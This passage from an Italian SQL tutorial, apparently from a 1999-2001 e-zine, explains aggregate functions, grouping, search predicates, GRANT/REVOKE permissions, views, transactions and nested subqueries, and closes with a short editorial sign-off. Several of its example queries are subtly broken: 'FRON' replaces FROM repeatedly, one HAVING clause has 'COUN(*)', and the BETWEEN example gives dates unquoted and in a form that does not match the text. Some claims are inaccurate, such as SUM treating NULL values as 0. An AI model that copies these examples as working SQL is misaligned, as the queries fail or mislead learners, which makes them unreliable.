condizione scritta dopo where. Per esempio se si vuole conoscere a quanti livelli diversi appartengono i dipendenti che abitano in provincia di Milano, occorre dare il comando: SELECT COUNT(DISTINCT livello) FROM Personale WHERE Prov = 'MI'; La clausola Distinct non può essere usata nel formato con l'asterisco Count(*). Il risultato del conteggio può essere anche descritto con un'opportuna intestazione, come già visto in precedenza, aggiungendo la clausola As seguita dalla stringa da assegnare: SELECT COUNT(DISTINCT livello) AS Livelli FROM Personale WHERE Prov = 'MI'; * Funzione SUM La funzione SUM restituisce la somma di tutti i valori contenuti in una colonna specificata come argomento della funzione: naturalmente l'attributo utilizzato nel calcolo deve essere di tipo numerico. La funzione Sum considera i record contenenti campi di tipo Null come aventi valore O. Se nel comando Select è presente il controllo di una condizione con where, la funzione calcola la somma dei valori contenuti in una colonna solo per le righe che soddisfano alla condizione specificata dopo la clausola Where. Per esempio se si vuole ottenere la somma degli stipendi base dei dipendenti che appartengono al livello 5, occorre usare il comando Select nella forma: SELECT SUM (StipBase) FROM Personale WHERE Livello = 5 ; Anche con questa funzione si può usare, se necessario, la parola Distinct prima del nome dell'attributo, se si vogliono eliminare dal calcolo della somma i valori duplicati presenti nella colonna specificata. L'argomento della funzione Sum può anche essere un'espressione numerica contenente i nomi di attributi di tipo numerico. Si supponga per esempio di avere una tabella delle fatture che contiene tra gli attributi, per ciascuna fattura, il prezzo unitario dei prodotti e la quantità ordinata. Il totale delle fatture viene calcolato con il seguente comando Select: SELECT SUM (PrezUnit * Qta) AS Totale FROM Fatture ; * Funzione AVG In modo analogo agisce la funzione AVG (dall'inglese Average = media), per calcolare la media dei valori (numerici) contenuti in una determinata colonna di una tabella, con l'eventuale aggiunta dell'opzione Distinct. Largomento della funzione può essere un'espressione aritmetica anziché il nome di un attributo. La media calcolata dalla funzione Avg equivale alla media aritmetica, cioè la somma dei valori diviso il numero dei valori. La funzione Avg non include nel calcolo i valori di tipo Null presenti nella colonna. Nell'esempio seguente viene calcolato lo stipendio medio dei dipendenti che svolgono la funzione di impiegati: SELECT AVG(StipBase) FROM Personale WHERE Funzione = 'Impiegato'; * Funzione MIN e MAX Le funzioni MIN e MAX restituiscono rispettivamente il valore minimo e il valore massimo tra i valori della colonna di una tabella specificata come argomento della funzione; nel caso sia specificata la clausola Where calcolano il valore minimo e massimo dei valori di una colonna considerando solo le righe che soddisfano alla condizione. Le funzioni Min e Max consentono di determinare i valori minimi e massimi anche per campi di tipo carattere. Per esempio utilizzando un attributo numerico come lo stipendio base si calcolano i valori minimo e massimo degli stipendi di tutti i dipendenti: SELECT MIN(StipBase), MAX(StipBase) FROM Personale; Il seguente esempio di interrogazione invece restituisce il primo cognome e l'ultimo nell'elenco dei dipendenti, specificando come argomento delle funzioni l'attributo Cognome che è di tipo carattere: SELECT MIN(Cognome), MAX(Cognome) FRON Personale; Anche le funzioni Min e Max ignorano i campi con valore Null e possono avere come argomento un'espressione anziché il nome di un attributo. 1.8) Ordinamenti e raggruppamenti =================================== Nel comando Select si può inserire la clausola ORDER BY per ottenere i risultati di un'interrogazione ordinati secondo i valori contenuti in una o più colonne, tra quelle elencate accanto alla parola Select. Lordinamento può essere crescente (le stringhe dalla A alla Z e i numeri dal minore al maggiore) oppure decrescente (le stringhe dalla Z alla A e i numeri dal maggiore al minore): i due tipi di ordinamento sono specificati usando rispettivamente le parole chiave ASC per crescente e DESC per decrescente. L'ordinamento è crescente per default e va specificata la parola Desc solo se si desidera l'ordinamento decrescente. Il seguente esempio produce in output l'elenco alfabetico dei dipendenti, con cognome, nome, codice fiscale e data di nascita: SELECT Cognome, Nome, CodFisc, Nascita FROM Personale ORDER BY Cognome, Nome; Lordinamento viene fatto su due attributi: a parità di cognome i dipendenti vengono ordinati per nome. Se i tipi di ordinamento richiesti riguardano più attributi e sono diversi, occorre aggiungere la parola Desc accanto agli attributi per i quali si vuole l'ordinamento decrescente. L'esempio seguente serve a produrre l'elenco dei dipendenti in ordine decrescente di stipendio base e, a parità di stipendio, in ordine di cognome: SELECT Cognome, StipBase FROM Personale ORDER BY StipBase DESC, Cognome; La clausola Order By è in genere l'ultimo elemento di un comando SQL. Negli ordinamenti il valore Null compare all'inizio delle sequenze crescenti e alla fine delle sequenze decrescenti. Con l'uso delle funzioni di aggregazione è possibile estendere la struttura del comando Select con l'aggiunta della clausola GROUP BY per raggruppare un insieme di righe aventi lo stesso valore nelle colonne indicate: questa opzione produce una riga di risultati per ogni raggruppamento. Se nel comando viene inserita una funzione di aggregazione, come Sum o Count, per ciascuna riga della tabella risultante viene prodotto un valore di raggruppamento. Il comando seguente serve ad ottenere la lista delle funzioni dei dipendenti con la somma degli stipendi e il numero dei dipendenti appartenenti alle diverse funzioni: SELECT Funzione, SUM (StipBase), COUNT(*) FRON Personale GROUP BY Funzione; Le righe aventi lo stesso valore nella colonna o nelle colonne specificate sono concettualmente organizzate in gruppi di righe, producendo una sola riga di risultati per ogni gruppo. Se l'istruzione Select non contiene una funzione di aggregazione di SQL, i valori di raggruppamento non vengono prodotti in output. I valori Null vengono raggruppati ma non vengono valutati da nessuna delle funzioni di aggregazione ad eccezione di Count(*). Se si utilizza una clausola Group By, tutti gli attributi che compaiono nella lista accanto alla parola Select devono essere inclusi nella clausola Group By oppure devono essere argomenti di una funzione di aggregazione. Il seguente esempio produce l'elenco dei livelli esistenti tra i dipendenti che svolgono la funzione di Impiegato con il numero di dipendenti per ciascun livello: SELECT Livello, COUNT (Livello) AS Conteggio FROM Personale WHERE Funzione = 'Impiegato' GROUP BY Livello; La struttura del comando Select con raggruppamenti può essere ulteriormente ampliata con la clausola HAVING con la quale è possibile sottoporre al controllo di una o più condizioni i gruppi creati con la clausola Group by. La condizione scritta dopo Having normalmente controlla il valore restituito dalle funzioni di aggregazione (Count, Sum, Avg, Min, Max). Il seguente esempio presenta l'uso del comando Select per ottenere la lista delle funzioni dei dipendenti con lo stipendio medio per ciascuna funzione, dopo aver raggruppato i dipendenti per funzione, purché i dipendenti con quella funzione siano più di 2: SELECT Funzione, AVG(StipBase) FRON Personale GROUP BY Funzione HAVING COUN(*) > 2; In genere quindi la clausola Having viene usata insieme a Group By: dopo che Group By ha formato i raggruppamenti di righe, Having serve a visualizzare le righe di raggruppamento che soddisfano alle condizioni scritte accanto a Having. Se l'istruzione Select contiene la clausola Where, i valori vengono raggruppati dopo aver operato la selezione sulle righe che rispettano le condizioni scritte accanto a Where. Con il seguente comando si ottiene l'elenco delle filiali nelle quali ci sono più di 10 impiegati: SELECT Filiale, COUNT (Filiale) AS Conteggio FROM Personale WHERE Funzione = 'Impiegato' GROUP BY Filiale HAVING COUNT(*) > 10; La clausola Having presenta caratteristiche analoghe alla clausola Where, ma agisce in modo differente: con Where vengono poste condizioni sulle righe della tabella, con Having il controllo delle condizioni viene fatto sui risultati delle funzioni dL aggregazione applicate a gruppi di righe. 1.9) Le condizioni di ricerca ============================= Le condizioni di ricerca sono utilizzate insieme alle clausole Where e Having per determinare i criteri di selezione rispettivamente delle righe e dei raggruppamenti. Nella scrittura delle condizioni si usano i segni del confronto =, <, >, < >, >=, <=. Una condizione di ricerca è costruita anche mettendo insieme più condizioni legate tra loro con gli operatori AND e OR, precedute eventualmente dall'operazione NOT. Lordine di applicazione degli operatori è il seguente: NOT viene applicato prima di AND e AND prima di OR. Le condizioni di ricerca possono utilizzare anche altre parole del linguaggio SQL che indicano operatori o predicati, con i quali è possibile rendere ancora più raffinate le interrogazioni alla base di dati. * BETWEEN L'operatore BETWEEN controlla se un valore è compreso all'interno di un intervallo di valori, inclusi gli estremi. E possibile specificare, anteponendolo a Between, anche l'operatore logico NOT per valutare la condizione opposta, cioè per controllare se il valore non rientra nell'intervallo specificato. Per ottenere l'elenco dei dipendenti (con cognome, nome, funzione) che sono stati assunti tra la data 1/1/95 e la data 31/12/99, si può usare la parola Between nella scrittura della condizione dopo Where: SELECT Cognome, Nome, Funzione FROM Personale WHERE Assunto BETWEEN 01/01/95 AND 12/31/99; * IN Loperatore IN controlla se un valore appartiene ad un insieme specificato di valori, cioè è possibile richiedere le righe che hanno i valori di un attributo compresi in una lista di valori indicati dopo la parola In all'interno della condizione scritta dopo Where. Per ottenere tutti i dati dei dipendenti che risiedono nelle province di Milano, Mantova, Brescia e Como, si usa il comando Select nella forma: SELECT * FROM Personale WHERE Prov IN ('MI','MN','BS','CO'); Anche In può essere preceduto da NOT per indicare la condizione opposta, cioè la non appartenenza del valore all'insieme dei valori. * LIKE L'operatore LIKE confronta il valore di un attributo di tipo carattere con un modello di stringa che può contenere caratteri jolly (o metacaratteri). I caratteri jolly sono: _ (underscore) per indicare un singolo carattere qualsiasi in quella posizione della stringa; % (percento) per indicare una sequenza qualsiasi di caratteri in quella posizione della stringa. Per esempio: LIKE 'xyz%' vengono ricercate tutte le stringhe che iniziano con i caratteri 'xyz' LIKE '%xyz' serve a ricercare tutte le stringhe che finiscono con i caratteri 'xyz' LIKE '%xyz%' per tutte le stringhe che contengono al loro interno i caratteri 'xyz'; LIKE '_xyz' controlla le stringhe di 4 caratteri che finiscono con 'xyz'. L'operatore Like utilizzato con un modello di stringa che non contiene caratteri jolly è del tutto equivalente all'operatore =. Con il comando Select scritto nella forma seguente, è possibile ottenere il cognome e la filiale dei dipendenti con il cognome che inizia con 'Ros' (Rossi, Rosi, Rossini,...): SELECT Cognome, Filiale FROM Personale WHERE Cognome LIKE 'Ros%'; Anche in questo caso si può usare l'operatore NOT prima di Like per indicare criteri di ricerca opposti. * IS NULL Il predicato IS NULL confronta il valore in una colonna con il valore Null. Luso di questo predicato è il solo modo per controllare la presenza del valore Null in una colonna. È possibile inserire l'operatore di negazione NOT per valutare la condizione opposta, in altre parole per controllare se un attributo non ha valore Null. L'operatore Is viene utilizzato solo con la parola Null. Per esempio se si vuole ottenere l'elenco con cognome e nome dei dipendenti per i quali è indicata la provincia nella tabella Personale, si deve scrivere la seguente istruzione Select: SELECT Cognome, Nome FROM Personale WHERE Prov IS NOT NULL; 1.10) I comandi per la sicurezza ================================== Lamministratore della base di dati, o comunque chi crea le relazioni del database, può stabilire anche il diritto di accesso per utenti specifici o per tutti gli utenti, nel caso di accessi multipli alle tabelle del database. Il comando GRANT concede i permessi, specificando il tipo di accesso, le tabelle sulle quali è consentito l'accesso e l'elenco degli utenti ai quali è permesso di accedere. Il tipo di accesso può riguardare per esempio il diritto di modifica della struttura della tabella con l'aggiunta di nuove colonne, oppure di modifica dei dati contenuti nella tabella, oppure l'uso del comando Select. Per concedere il diritto di modifica sulla tabella dei dipendenti agli utenti denominati con User1 e User2, si deve usare il comando Grant nella forma GRANT UPDATE ON Personale TO User1, User2; La revoca dei permessi con annullamento dei diritti di accesso viene effettuato con il comando REVOKE che ha una sintassi analoga a quella del comando Grant: REVOKE UPDATE ON Personale FROM User1, User2; I permessi che possono essere concessi (o revocati) agli utenti sono indicati con le seguenti parole chiave che vanno specificate dopo Grant o Revoke: ALTER per aggiungere od eliminare colonne, oppure per modificare i tipi di dati DELETE per eliminare righe dalle tabelle INDEX per creare indici INSERT per inserire nuove righe nelle tabelle SELECT per ritrovare i dati dalle tabelle UPDATE per cambiare i valori contenuti nelle tabelle ALL per tutti i permessi precedenti. I permessi con le opzioni SELECT e UPDATE, nei comandi Grant e Revoke, diventano più restrittivi specificando, tra parentesi tonde e separati con la virgola, i nomi delle colonne che l'utente può vedere o modificare. Per concedere il diritto di modifica del livello e dello stipendio base dei dipendenti all'utente denominato con User3, si deve usare il comando Grant nella forma GRANT UPDATE (Livello, StipBase) ON Personale TO User3; 1.11) Le viste ================ Il linguaggio SQL consente di decidere le modalità con le quali gli utenti possono vedere le tabelle del database, creando una finestra, detta VIEW (vista), su alcuni o su tutti i dati contenuti in una o più tabelle. La vista viene identificata con un nome assegnato in fase di creazione con il comando CREATE VIEW. Con le viste è possibile decidere anche che un utente debba avere una visione solo parziale dei dati registrati nel database, mentre non può vedere altri dati: in questo modo si elimina il rischio di modifiche indesiderate su dati che non riguardano il lavoro di un determinato utente e nello stesso tempo l'utente non rimane distratto dai dati che sono ininfluenti sul tipo di elaborazione che deve fare. L'utente può comunque operare sulla vista con i comandi illustrati nei paragrafi precedenti, come se fosse una tabella del database. Le viste sono finestre dinamiche sulle tabelle del database, in quanto ogni modifica ai dati sulla tabella primaria è disponibile per l'utente attraverso la vista. Vale anche l'opposto: ogni modifica sui dati della vista si riflette sui dati della tabella primaria. Non tutte le viste sono, però, aggiornabili: infatti le viste che contengono risultati di funzioni di aggregazione non posono essere modificate. La creazione della vista viene realizzata con l'uso dell'istruzione Select all'interno del comando Create View. Per creare una vista di nome Impieg contenente i dati dei dipendenti con funzione di Impiegato, si usa il comando: CREATE VIEW Impieg AS SELECT * FROM Personale WHERE Funzione = 'Impiegato'; Una vista può essere eliminata con il comando DROP VIEW seguito dal nome assegnato alla vista in fase di creazione. Per esempio il comando seguente elimina la vista creata con il nome Impieg: DROP VIEW Impieg; Il creatore della vista, usando il comando Grant illustrato in precedenza, fornisce all'utente il diritto di accesso ai dati attraverso l'utilizzo della vista. Con il seguente esempio viene concesso all'utente denominato User3 il diritto di accedere alla vista Impieg, precedentemente creata, per ritrovare, cioè leggere, i dati in essa contenuti: GRANT SELECT ON Impieg TO User3; Quindi i sottoschemi e le autorizzazioni per utenti diversi su un database relazionale possono essere definiti con il linguaggio SQL usando in modo combinato i comandi Create View e Grant. 1.12) Integrità dei dati e gestione delle transazioni ======================================================= Il linguaggio SQL fornisce un insieme di comandi per salvaguardare l'integrità dei dati contro situazioni di malfunzionamento del sistema o di danneggiamento dei dati: * LOCK TABLE e UNLOCK TABLE per limitare e ripristinare l'accesso di determinati utenti a una tabella; * RECOVER TABLE che consente di recuperare una tabella da una copia di sicurezza, nel caso in cui si verifichi un'interruzione anomala del processo di elaborazione; * CHECK TABLE per controllare la corrispondenza dei dati di una tabella con i suoi indici; * REPAIR TABLE per ricostruire gli indici di una tabella nel caso in cui il controllo eseguito con il precedente comando Check Table non sia andato a buon fine. Un altro aspetto importante legato all'integrità dei dati è costituito dalla gestione delle transazioni. Una transazione è una serie di operazioni eseguite su un database (tipicamente manipolazioni sulle righe delle tabelle) che devono essere eseguite in modo completo per considerare corretta l'elaborazione. Quindi è un insieme di operazioni considerate come un'unità logica di lavoro da eseguire. Quando si vuole eseguire una serie di operazioni che consideriamo facenti parte di un'unità logica di lavoro, si manda il comando BEGIN TRANSACTION. Questo comando provoca tutte le modifiche previste alle righe delle tabelle del database, bloccandone la possibilità di modifica agli altri utenti, che possono comunque vederne il contenuto. Quando si è in grado di decidere che la serie di operazioni ha prodotto i risultati desiderati, la transazione può essere confermata nella sua terminazione con il comando COMMIT. Se invece i risultati ottenuti alla fine della transazione non corrispondono a quelli attesi, la transazione viene annullata con il comando ROLLBACK: questa istruzione ripristina il database allo stato in cui era prima dell'inizio del comando BEGIN. Generalmente le transazioni vengono utilizzate per mantenere l'integrità dei dati quando è necessario aggiornare dei record contenuti in una o più tabelle. Se per esempio si accettano ordini dai clienti occorre effettuare operazioni di scarico dal magazzino: se però la quantità esistente dei prodotti richiesti dopo l'aggiornamento diventasse negativa, non sarebbe possibile soddisfare gli ordini. Occorrerà quindi utilizzare il comando BeginTransaction per iniziare l'aggiornamento delle righe nella tabella; se uno degli aggiornamenti successivi ha esito negativo, occorre utilizzare il comando Rollback per annullare gli aggiornamenti effettuati. Con il comando Commit invece si può confermare la transazione dopo che anche l'ultimo aggiornamento ha avuto esito positivo. 1.13) Interrogazioni nidificate =============================== Uno degli aspetti più interessanti del comando Select è costituito dalla possibilità di inserire un comando Select all'interno della struttura di un altro comando Select, ponendo un'interrogazione all'interno di un'altra interrogazione, costruendo cioè interrogazioni nidificate (subquery). Questa caratteristica spiega la presenza del termine structured nella sigla del linguaggio SQL, per indicare un linguaggio che consente di costruire interrogazioni complesse e ben strutturate. La condizione scritta dopo Where confronta il valore di un attributo con il risultato di un altro comando Select. Una subquery può restituire un valore singolo, nessun valore oppure un insieme di valori, ma deve comunque avere una singola colonna o espressione accanto alla sua Select. Per esempio è possibile ottenere l'elenco con cognome e nome dei dipendenti che hanno lo stipendio base inferiore allo stipendio medio di tutti i dipendenti usando il comando Select espresso nella forma: SELECT Cognome, Nome FROM Personale WHERE StipBase < (SELECT AVG (StipBase) FROM Personale) ; Il comando Select nidificato restituisce il valore calcolato del valore medio degli stipendi; questo numero viene usato poi nell'interrogazione principale per il confronto con i valori dell'attributo StipBase nel criterio di selezione delle righe della tabella, scritto dopo Where. Di seguito viene presentato un altro esempio di subquery con uso del comando Select in una forma che contiene molte delle parole-chiave presentate precedentemente, e che illustra in modo efficace la potenza espressiva del comando Select per indicare con grande concisione un insieme complesso di operazioni. Supponiamo di voler ricercare i dipendenti, elencando in ordine alfabetico cognome, nome e descrizione della filiale dove lavorano, per i quali lo stipendio risulta uguale al valore massimo tra tutti gli stipendi dei dipendenti con la funzione di Impiegato: SELECT Cognome, Nome, Descrizione FROM Personale, Dipendenza WHERE Filiale = CodFil AND StipBase = ( SELECT MAX(StipBase) FROM Personale WHERE Funzione = 'Impiegato') ORDER BY Cognome, Nome; L'interrogazione si ottiene con la congiunzione tra le due tabelle Personale e Dipendenza, realizzata attraverso l'attributo comune del codice filiale; la condizione di selezione sulle righe risultanti confronta lo stipendio di ogni dipendente con il valore ottenuto da una sottointerrogazione che restituisce un numero, ottenuto calcolando con la funzione Max il valore massimo tra tutti i valori di StipBase. Nella costruzione delle subquery si possono usare alcune clausole che consentono di effettuare interrogazioni più complesse con poche righe di codice SQL. * ANY Il predicato ANY indica che la subquery può restituire zero, oppure uno, oppure un insieme di valori, e che la condizione di ricerca è vera se il confronto è vero per almeno uno dei valori restituiti. La condizione di ricerca è falsa se la subquery restituisce un insieme vuoto oppure se il confronto è falso per ciascuno dei valori restituiti dalla subquery. Il seguente esempio di interrogazione serve per ottenere le informazioni dei dipendenti che non sono impiegati e che hanno lo stipendio superiore a quello di uno qualsiasi tra gli impiegati: SELECT Cognome, Nome, Funzione FROM Personale WHERE Funzione <> 'Impiegato' AND StipBase > ANY ( SELECT StipBase FRON personale WHERE Funzione = 'Impiegato'); * ALL Il predicato ALL indica che la subquery può restituire zero, oppure uno, oppure un insieme di valori, e che la condizione di ricerca è vera se il confronto è vero per ciascuno dei valori restituiti. La condizione di ricerca è falsa se il confronto è falso per almeno uno tra i valori restituiti dalla subquery. Sostituendo l'interrogazione precedente con la seguente che contiene All al posto di Any, si possono estrarre tutte le righe dei dipendenti che non sono impiegati e che hanno lo stipendio superiore a quello di tutti gli impiegati. SELECT Cognome, Nome, Funzione FROM personale WHERE Funzione <> 'Impiegato' AND StipBase > ALL ( SELECT StipBase FROM personale WHERE Funzione = 'Impiegato'); È logico immaginare che il numero delle righe ottenute con l'interrogazione contenente All sia inferiore al numero di righe restituite dall'interrogazione contenente Any. Le clausole Any e All possono essere tralasciate nelle espressioni di confronto se si è in grado di stabilire che la subquery restituirà sicuramente un solo valore. In questo caso la condizione di ricerca è vera se è vero il confronto tra il valore dell'attributo e il valore restituito dalla subquery. * IN Il predicato IN serve a controllare se il valore di un attributo è compreso tra quelli restituiti dalla subquery effettuata con la Select nidificata. Il seguente esempio produce l'elenco con cognome e nome dei dipendenti che lavorano nelle filiali che hanno più di 10 dipendenti: SELECT Cognome, Nome FROM Personale WHERE Filiale IN (SELECT Filiale FRON Personale GROUP BY Filiale HAVING Count(*) > 10) È possibile utilizzare NOT IN per estrarre solo le righe della tabella principale per le quali nessuna riga della tabella ottenuta con la subquery contiene un valore uguale. Si osservi che la condizione di ricerca Where Attributo IN (SELECT ........) è equivalente a Where Attributo = ANY (SELECT........) Analogamente la condizione di ricerca Where Attributo NOT IN (SELECT.........) è equivalente a Where Attributo < > ALL (SELECT..........) * EXISTS Il predicato EXISTS controlla se vengono restituite righe dall'esecuzione della subquery: la condizione di ricerca è vera se la Select nidificata produce una o più righe come risultato, è falsa se la subquery restituisce un insieme vuoto. Per esempio se si vuole ottenere l'elenco dei dipendenti con cognome e nome solo se esistono dipendenti di sesto livello, si può usare il comando Select nel seguente formato: SELECT Cognome, Nome FRON Personale WHERE EXISTS (SELECT * FRON Personale WHERE Livello = 6) ; Il predicato Exists è il solo che non confronta un valore con uno o più altri valori. Le colonne utilizzate nella subquery di una clausola Exists sono irrilevanti: quindi per brevità comunemente si utilizza la forma Select * nella subquery. Il predicato Exists può essere negato nella costruzione della condizione di ricerca inserendo la parola NOT prima di Exists. BY AsM -------------------------------------------------------------------------------- Roba da non crederci....finalmente direte siamo arrivati alla fine di questo secondo numero....Un mio giudizio...??? Meglio tacere...scherzo...Ci auguriamo che abbiate appreso tante altre cose che a dire il vero avrete potuto studiare da soli...ma noi l'abbiamo fatto al posto vostro...PIGRONI...Se qualcuno di voi vuole partecipare ai lavori, basta contattarci e saremo pronti a valutare le vostre proposte... Non ho altro da dire...ah si...una cosa. Probabilmente molti argomenti affrontati non hanno raggiunto un livello tecnico alto...ma il nostro desiderio è quello di iniziare dalle basi per poter crescere sia in contenuti sia in tecnicismo... un pò alla volta....Altri argomenti non siete riusciti a capirli, pazienza, ci vuole pazienza, in futuro avrete le idee piu chiare e articoli adesso oscuri, vi risulteranno più comprensibili. CRITICHE, GIUDIZI, BESTEMMIE, CONSIGLI, IMPRECAZIONI??? Scrivete, scrivete, scrivete...abbiamo bisogno di sentire la vostra opinione se vale la pena ammazzarci per scrivere qualcosa di leggibile. Una cosa...il canale per chattare è operativo il venerdi sera dopo le 22.30... Sito web: http://ssystem.cjb.net E-mail: security_system@weedmail.com Canale IRC: #ssystem ( server irc.musichat.net ) Security System Copyright 1999-2001 Security System -[ The End ]-